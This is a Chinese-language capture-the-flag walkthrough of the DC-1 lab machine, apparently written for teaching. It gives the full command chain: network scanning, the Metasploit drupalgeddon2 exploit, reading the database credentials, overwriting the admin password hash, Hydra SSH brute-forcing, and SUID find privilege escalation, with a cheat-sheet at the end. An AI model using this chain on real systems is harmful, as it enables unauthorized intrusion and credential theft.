一. 环境搭建
1. 准备工具
渗透利器kali
可参考下面文章进行安装
Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版
DC-1靶场机
官网下载 https://download.vulnhub.com/dc/DC-1.zip
2. 安装过程
解压后得到个.ova文件
用vm虚拟机打开该文件
设置好相关操作
提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面
出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考
“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)
二. 渗透过程
这一过程需要用到kali,打开我们的渗透利器kali(root模式下)
1. 信息收集
①探测目标IP地址
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover
- arp-scan
arp-scan -l
该命令是探测当前网段的所有ip地址
然后我们看一下DC靶机的Mac地址
确定了DC主机的IP地址为
192.168.120.128
- nmap
先看一下kali的ip地址
ifconfig
再用nmap
nmap -sP 192.168.120.0/24
ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0
一样扫出了ip
- netdiscover
netdiscover
②探测目标IP开放端口
用nmap来探测
nmap -sV -p- 192.168.120.128
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看
③网页信息收集
利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal
当然也可以用kali自带的工具whatweb扫
黑客工具之whatweb详细使用教程 - 知乎 (zhihu.com)
whatweb -v 192.168.120.128
也能扫出CMS,然后再用dirsearch工具扫一下目录 ,命令
dirsearch -u 192.168.120.128 -e *
还是扫出了挺多目录的,但是暂时用不到,先放一放
得到如下信息
CMS是Drupal
Apache 2.2.22PHP 5.4.45
jQuery 1.4.4
2. 漏洞查找与利用
知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞
果然有框架漏洞
①漏洞查找
用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具
msfconsole
然后输入命令
search Drupal
可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞
②漏洞利用
利用18年那个漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
接着看一下该漏洞模块参数
show options
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容
所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)
set RHOSTS 192.168.120.128
然后再show一下模块参数
设置好参数后开始攻击
exploit
exploit和run是一样的,用run也可以
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell
3. Getshell
①获取普通shell
shell
获取一下普通的shell
然后执行ls命令
②获取交互shell
这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python
python -c 'import pty; pty.spawn("/bin/bash")'
可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件
tac flag1.txt
查看一下flag1.txt文件
每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件
find / -name flag*
好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
cat `find / -name settings.php`
这里我们找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看
3. 数据库渗透
由上面得到的账号密码登入
mysql -udbuser -pR0ck3t
登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西
show datebases;
接着使用改数据库,并查看表
use drupaldb;show tables;
注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观
select * from users;
得到两个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin
参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China
法一:修改admin密码
我们得先找到加密文件,Drupal的加密脚本在
/var/www/scripts/password-hash.sh
目录下,我们先退出mysql
exit;
打开加密脚本
cat /var/www/scripts/password-hash.sh
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456
php /var/www/scripts/password-hash.sh 123456
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码
mysql -udbuser -pR0ck3t
use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';
密码修改成功
法二:添加admin权限用户
drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具
searchsploit drupal
然后看一下那个脚本path
searchsploit 34992.py -p
可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入
登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件
/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
Linux /etc/passwd内容解释(超详细)
/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
Linux /etc/shadow(影子文件)内容解析(超详细)
接着我们查看一下用户信息
tac /etc/passwd
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码
4. 用户密码爆破
事先参考SSH
SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh
利用工具Hydra爆破flag4的密码
(总结)Linux下的暴力密码在线破解工具Hydra详解
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128
爆破出密码orange,然后我们用kali连接
ssh [email protected]
@192.168.120.128
@目标主机地址
输入orange登入
打开了flag4.txt,emmm其实好像也没啥
5. Linux提权
需要用到SUID提权,参考
简谈SUID提权 - FreeBuf网络安全行业门户
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find比较常用,可以执行root权限的命令找查文件,
find / -name index.php -exec "/bin/sh" \;
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec "/bin/sh" ;
#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)
可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦
cd /root
ls
cat *
拿到第五个flag啦!
三. 收获总结
1. 主机扫描
- nmap
nmap -sP 网段
Nmap命令详解
- arp-scan
arp-scan -l
arp-scan命令及ARP含义解释
- netdiscover
netdiscover
Netdiscover网络扫描工具
2. 域名信息收集
- whatweb
whatweb -v 域名
whatweb详细使用教程
- 火绒扩展wappalyzer
- dirsearch
dirsearch -u 域名
目录扫描工具 dirsearch 中文手册
3. CMS漏洞找查及利用
- Metasploit
先打开MSF控制台
msfconsole
搜索CMS漏洞
search cms名
使用模块
use 漏洞模块名
显示模块参数(一般只需要设置攻击目标IP地址)
show options
设置模块参数
set 模块参数名 参数值
开始攻击
run(或exploit)
metasploit渗透测试入门
4. Getshell
使用MSF攻击等待主机与目标连接完成后
metasploit获取shell之后的进一步利用
通常情况下直接进入shell
shell
获取交互shell(需对方主机安装有python)
python -c 'import pty;pty.spawn("/bin/bash")'
5. Linux特性及相关命令
查看权限(root为最高权限,其他为普通用户)
whoami
文件特性passwd与shadow
/etc/passwd
存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问
Linux /etc/passwd内容解释(超详细)
/etc/shadow
存储有用户的密码等信息,需要root用户才能访问
Linux /etc/shadow(影子文件)内容解析(超详细)
6. 密码爆破与SSH
爆破工具Hydra
黑客工具之hydra详细使用教程
以爆破SSH为例
hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机
爆破完后我们可以用kali登入
ssh 用户名@目标攻击主机
SSH简介及两种远程登录的方法
7. Linux系统的SUID提权
简谈SUID提权
先找到含有SUID权限的二进制文件
find / -user root -perm -4000 -print 2>/dev/null
这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤
find / -perm -4000 2>/dev/null 拆分讲解
再选择相关命令进行提权,以find为例(用得最多)
先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权
find / -name x.ab -exec "/bin/sh" \;
版权归原作者 金 帛 所有, 如有侵权,请联系我们删除。